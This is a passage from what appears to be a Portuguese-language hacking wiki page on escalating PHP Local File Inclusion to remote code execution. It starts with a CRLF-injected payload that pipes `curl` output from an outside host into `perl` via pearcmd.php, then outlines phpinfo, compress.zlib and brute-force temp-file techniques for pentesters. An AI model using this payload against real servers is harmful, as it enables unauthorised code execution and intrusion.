Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Se você encontrou uma **Local File Inclusion** e **pode exfiltrar o caminho** do arquivo temporário, MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **contornar essa verificação** com esta **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
Se você pode abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **congelar** a execução do PHP, você poderia então **forçar nomes de arquivos durante horas** para encontrar o arquivo temporário:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
**Eu não sei como isso é útil, mas pode ser.**\
_Mesmo que você cause um erro fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}